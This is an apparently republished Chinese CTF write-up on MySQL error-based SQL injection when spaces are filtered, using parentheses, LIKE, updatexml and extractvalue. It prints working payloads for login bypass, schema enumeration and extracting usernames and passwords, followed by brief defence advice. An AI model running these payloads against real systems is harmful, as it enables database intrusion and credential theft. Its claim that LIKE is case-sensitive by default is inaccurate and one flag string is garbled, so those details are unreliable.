当空格被过滤后,我是如何用括号和like绕过限制,拿下这道SQL报错注入题的
2026/5/31 13:05:56 网站建设 项目流程

当空格被过滤时:用括号与LIKE重构SQL报错注入攻击链

在CTF竞赛和渗透测试中,遇到字符过滤是家常便饭。最近一次实战中,我碰到了一个棘手的场景——目标系统过滤了所有空格字符。这种限制看似简单,实则对传统SQL注入手法造成毁灭性打击。本文将分享如何用括号()LIKE操作符重构攻击链,最终通过报错注入拿下flag的完整思维过程。

1. 突破空格过滤的基础策略

当发现空格被过滤时,许多新手会陷入思维定式。实际上,SQL语法提供了多种替代空格的方案:

  • 括号替代法:在大多数SQL方言中,括号()不仅能用于表达式分组,还能隐式实现空格分隔效果。例如:

    SELECT(column)FROM(table)WHERE(1=1)

    等价于:

    SELECT column FROM table WHERE 1=1
  • 注释符技巧:当括号也被过滤时,可尝试/**/--等注释符(但本例中注释符已被过滤)

  • 特殊字符替换:某些环境下%20%0A等URL编码字符可能奏效

关键发现:测试发现目标系统仅过滤空格而保留括号,这成为后续攻击的基础突破口。通过构造1'or((1)like(1))#成功登录,验证了括号替代的可行性。

2. LIKE操作符的妙用

在绕过等号=过滤时,LIKE操作符展现出独特优势:

操作符等效场景绕过能力
=精确匹配通常被严格过滤
LIKE模糊匹配(含通配)常被忽略
RLIKE正则匹配有时可用

实战应用

-- 传统方式(被过滤) 1' OR 1=1# -- 改造版本 1'or((1)like(1))#

注意:LIKE默认区分大小写,若需要不区分可用ILIKE(MySQL不支持)或COLLATE子句

3. 报错注入函数深度解析

当联合注入和堆叠注入都被封杀时,报错注入成为突破口。以下是两个核心函数对比:

3.1 updatexml() 函数

updatexml(XML_doc, XPath_str, new_value)
  • 攻击原理:故意构造非法XPath格式触发错误回显
  • 典型payload
    1'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))#
  • 字符限制突破
    -- 使用right()获取后半段数据 1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1))),1))#

3.2 extractvalue() 函数

extractvalue(XML_doc, XPath_str)
  • 异曲同工
    1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
  • 异或绕过技巧^运算符可绕过某些关键词过滤

4. 完整攻击链构建实战

让我们还原完整的攻击流程:

  1. 信息收集阶段

    -- 获取当前数据库 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))# -- 获取数据表(使用LIKE替代=) 1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
  2. 字段枚举阶段

    -- 获取列名(注意表名用括号包裹) 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
  3. 数据提取阶段

    -- 常规提取(前32字符) 1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))# -- 分段提取(使用right/left组合) 1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#
  4. 数据拼接技巧

    • flag{389c9161-c2eb-403a-80b-403a-8062-80f219ca1c30}手动拼接
    • 最终flag:flag{389c9161-c2eb-403a-8062-80f219ca1c30}

5. 防御方案与思考

面对这类攻击,防御者可以考虑:

  1. 多层过滤策略

    • 同时过滤空格、括号、注释符等特殊字符
    • LIKERLIKE等操作符进行监控
  2. 错误信息处理

    // 错误示例(泄露信息) mysqli_query($conn, $sql) or die(mysqli_error($conn)); // 正确做法 try { mysqli_query($conn, $sql); } catch(Exception $e) { log_error($e); return "操作失败"; }
  3. 最小权限原则

    • 数据库账户仅授予必要权限
    • 禁用information_schema的公共访问

在真实渗透测试中,这种绕过手法的成功率取决于WAF规则的精细程度。我曾遇到一个案例,仅通过将LIKE改为REGEXP就成功绕过了某商业WAF的检测。这提醒我们:安全防御需要持续迭代,而攻击者的创造力永不枯竭。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询